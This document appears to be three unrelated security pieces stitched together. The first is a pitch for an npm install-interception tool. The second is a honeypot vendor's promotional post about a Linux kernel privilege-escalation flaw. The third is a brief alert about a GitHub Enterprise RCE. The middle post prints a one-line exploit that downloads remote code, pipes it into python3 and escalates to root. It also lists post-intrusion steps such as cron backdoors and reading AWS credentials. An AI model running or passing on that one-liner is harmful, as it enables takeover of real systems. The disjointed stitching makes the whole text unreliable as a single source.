Intercept and block malicious package versions before they execute, closing the hours-long gap between compromise and detection.

Software supply chain attacks on package registries like npm are accelerating, with compromised packages deploying malware within seconds of publish while existing security tooling takes hours to detect threats. Developers currently have no interception layer — running npm install blindly executes postinstall scripts, downloads payloads, and calls home before anyone notices. High-profile incidents like the Axios compromise (100M+ weekly downloads) demonstrate that static analysis and manual review are far too slow.
A runtime package installation guard that sits between the developer and the package registry, intercepting installs in real-time. It combines manifest diffing, sandboxed install execution with network monitoring, behavioral pattern matching, and kernel-level observability (e.g., eBPF) to flag suspicious packages before they touch the host system. Packages are scored and blocked or quarantined automatically, closing the detection window from hours to seconds.
Major supply chain attacks (Axios, xz-utils, ua-parser-js) are hitting mainstream packages with increasing frequency, and recent high-profile incidents have created urgent demand for proactive defenses. Regulatory pressure (EU Cyber Resilience Act, US executive orders on software supply chain security) is pushing organizations to adopt automated safeguards.
Disclosure dropped this week at copy.fail. Logic flaw in the kernel's `authencesn`, reachable via `AF_ALG`, abused through `splice()` to write 4 bytes into the page cache of any setuid binary. 732 bytes of stdlib Python. No race, no offsets, reliable on every affected distro since 2017. PoC: ``` curl https://copy.fail/exp | python3 && su ``` Distros are patching. Fine. The bit nobody talks about: it's a **local** priv esc. The attacker still needs a shell first. That shell doesn't come from your hardened SSH. It comes from the WordPress plugin you forgot was installed. The Grafana on :3000. The Jenkins your CI team spun up two years ago. The leaked GitHub PAT in a public gist. The n-day on your firewall vendor that everyone is still patching. They land as `www-data`. They run the 732-byte one-liner. They're root. Backdoor in `/etc/cron.d/`. `known_hosts` dumped. AWS keys pulled from `~/.aws/credentials`. Your Ansible inventory is now their target list. Friday they're inside. Sunday they push. Monday your `/home` is on a leak site and you're explaining to legal why prod creds lived on a Jenkins worker. I run a honeypot (TarPit.pro, full disclosure). Across 5 of my own boxes in the last 20 days: - ~40k attack attempts - ~14k unique IPs - ~5k auto banned - Top ports: SSH (14k), Telnet (3.2k), SMB (2.2k) Those are the IPs you collected the last few months that, today, will be running `curl copy.fail/exp | python3` on whichever box they land on first. Patch the kernel. Then close the on-ramp. Single Go binary, free tier on 2 servers, no Docker. Coupon `LAUNCH101` makes Starter and Pro free for 2 months if you want it on more
A critical RCE (Remote Code Execution) vulnerability CVE- 2026-3854 with a CVSS of 8.7(Base Score) has been discovered inside GitHub.com and GitHub Enterprise Server. This allows authenticated users to inject commands via push options, compromising the shared repositories and fully taking over the Enterprise Servers. How discovered: Researchers found this vulnerability through AI- Powered reverse Engineering. Exploitation: An authenticated user with push access to repository can trigger RCE. Defense: Priotirise applying vendor patches, 88% of GHES instances remain unpatched. Stay alert for any update for GitHub.com and GitHub Enterprise Server to immediately mitigate the risk.
